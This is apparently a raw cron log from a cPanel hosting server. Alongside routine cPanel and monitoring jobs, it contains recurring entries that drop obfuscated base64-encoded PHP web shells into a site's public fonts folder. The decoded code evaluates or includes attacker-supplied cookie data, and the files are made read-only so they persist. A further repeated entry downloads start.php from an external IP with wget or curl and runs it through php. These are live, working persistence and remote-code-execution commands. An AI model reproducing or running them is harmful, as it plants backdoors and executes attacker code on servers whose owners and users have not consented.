Sep  7 12:15:02 ip-184-168-122-23 CROND[24946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:15:02 ip-184-168-122-23 CROND[24952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:15:02 ip-184-168-122-23 CROND[24954]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:15:02 ip-184-168-122-23 CROND[24955]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:15:02 ip-184-168-122-23 CROND[24956]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  7 12:15:02 ip-184-168-122-23 CROND[24957]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  7 12:16:01 ip-184-168-122-23 CROND[25267]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 12:16:01 ip-184-168-122-23 CROND[25268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:16:01 ip-184-168-122-23 CROND[25270]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:16:01 ip-184-168-122-23 CROND[25272]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:16:01 ip-184-168-122-23 CROND[25269]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 12:16:01 ip-184-168-122-23 CROND[25271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:17:01 ip-184-168-122-23 CROND[25655]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:17:01 ip-184-168-122-23 CROND[25657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:17:01 ip-184-168-122-23 CROND[25659]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:17:01 ip-184-168-122-23 CROND[25660]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:18:02 ip-184-168-122-23 CROND[26019]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:18:02 ip-184-168-122-23 CROND[26021]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:18:02 ip-184-168-122-23 CROND[26018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:18:02 ip-184-168-122-23 CROND[26020]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:18:02 ip-184-168-122-23 CROND[26022]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 12:19:02 ip-184-168-122-23 CROND[26292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:19:02 ip-184-168-122-23 CROND[26294]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:19:02 ip-184-168-122-23 CROND[26293]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:19:02 ip-184-168-122-23 CROND[26295]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:20:02 ip-184-168-122-23 CROND[26748]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 12:20:02 ip-184-168-122-23 CROND[26754]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:20:02 ip-184-168-122-23 CROND[26755]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 12:20:02 ip-184-168-122-23 CROND[26756]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:20:02 ip-184-168-122-23 CROND[26750]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 12:20:02 ip-184-168-122-23 CROND[26751]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 12:20:02 ip-184-168-122-23 CROND[26752]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:20:02 ip-184-168-122-23 CROND[26753]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 12:20:02 ip-184-168-122-23 CROND[26759]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:21:01 ip-184-168-122-23 CROND[27080]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:21:01 ip-184-168-122-23 CROND[27082]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:21:01 ip-184-168-122-23 CROND[27081]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:21:01 ip-184-168-122-23 CROND[27083]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:22:01 ip-184-168-122-23 CROND[27431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:22:01 ip-184-168-122-23 CROND[27429]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 12:22:01 ip-184-168-122-23 CROND[27430]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:22:01 ip-184-168-122-23 CROND[27433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:22:01 ip-184-168-122-23 CROND[27432]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:23:01 ip-184-168-122-23 CROND[27765]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:23:01 ip-184-168-122-23 CROND[27764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:23:01 ip-184-168-122-23 CROND[27766]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:23:01 ip-184-168-122-23 CROND[27767]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:24:01 ip-184-168-122-23 CROND[28180]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 12:24:01 ip-184-168-122-23 CROND[28184]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:24:01 ip-184-168-122-23 CROND[28182]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:24:01 ip-184-168-122-23 CROND[28183]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:24:01 ip-184-168-122-23 CROND[28185]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:25:02 ip-184-168-122-23 CROND[28454]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:25:02 ip-184-168-122-23 CROND[28460]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 12:25:02 ip-184-168-122-23 CROND[28461]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 12:25:02 ip-184-168-122-23 CROND[28462]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  7 12:25:02 ip-184-168-122-23 CROND[28463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:25:02 ip-184-168-122-23 CROND[28464]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:25:02 ip-184-168-122-23 CROND[28465]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:26:01 ip-184-168-122-23 CROND[28812]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:26:01 ip-184-168-122-23 CROND[28814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:26:01 ip-184-168-122-23 CROND[28811]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 12:26:01 ip-184-168-122-23 CROND[28813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:26:01 ip-184-168-122-23 CROND[28810]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
